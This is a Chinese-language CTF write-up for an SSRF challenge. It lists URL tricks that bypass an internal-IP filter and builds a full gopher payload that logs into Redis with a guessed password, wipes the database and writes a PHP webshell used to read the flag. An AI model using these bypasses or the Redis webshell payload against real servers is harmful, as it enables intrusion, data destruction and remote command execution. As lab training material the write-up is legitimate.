发现给了php代码
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
绕过IP限制
看到注释:访问本地的hint.php,浏览一下,空白页面,不管,先分析代码
代码先写了两个功能safe_request_url($url))和safe_request_url($url),get方法获取url参数的值,如果url不为空,执行safe_request_url($url),safe_request_url($url)先调用check_inner_ip($url),返回false后才启动curl
check_inner_ip($url)使用协议白名单,必须以http:// https:// gopher:// dict://开头,不能使用127.0.0.0、10.0.0.0、172.16.0.0、192.168.0.0网段的IP作为内网地址
IP绕过总结:
#回环地址
http://0.0.0.0/hint.php
#错误解析
http:///127.0.0.1/hint.php
#IPv4映射IPv6
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
http://[::ffff:7f00:1]/hint.php
http://[::ffff:127.0.0.1]/hint.php
#16进制
http://0x7f000001/hint.php
#gopher协议,前面对于http协议的绕过方式都可以用于此协议,但下面这个用于http就失效了
gopher%3a%2f%2f0177.0.0x0001%3a80%2f_GET+%2fhint.php
借鉴:[网鼎杯 2020 玄武组]SSRFMe - LionTree、[网鼎杯 2020 玄武组]SSRFMe - kar3a - 博客园
输入/?url=http://0.0.0.0/hint.php成功访问hint.php
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
看到"redispass is root"猜测redis服务密码是root
gopherus
使用工具gopherus,安装的话看README.MD,忽略"pip不存在"的错误即可
复制生成的payload,同时做一些修改
修改payload
原payload:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
解码后:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
这个需要密码,所以我们要执行auth root,我们应在flushall命令前加上auth root,即:
gopher://127.0.0.1:6379/_*2 #代表auth、root这两元素
$4 #表示元素的长度
auth
$4
root
*1
$8
flushall
*3
$3
set
$1
1
$34
<?php system($_GET['cmd']); ?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
将其url编码后,加上得到完整的payload
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
编码过程:
*2\r\n => %2A 2 %0D%0A => %2A2%0D%0A
$4\r\n => %24 4 %0D%0A => %244%0D%0A
auth\r\n => auth %0D%0A => auth%0D%0A
$4\r\n => %24 4 %0D%0A => %244%0D%0A
root\r\n => root %0D%0A => root%0D%0A
结果:%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A
将127.0.0.1替换为0.0.0.0后得到
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
去在线网站编码
最终payload:
gopher%3a%2f%2f0.0.0.0%3a6379%2f_%252A2%250D%250A%25244%250D%250Aauth%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
夺取flag
尝试payload,发现超时,试试访问shell.php
?cmd=cat+/flag
成功拿到flag:flag{994596c6-dfe1-4d38-bf8f-95827d5cef24}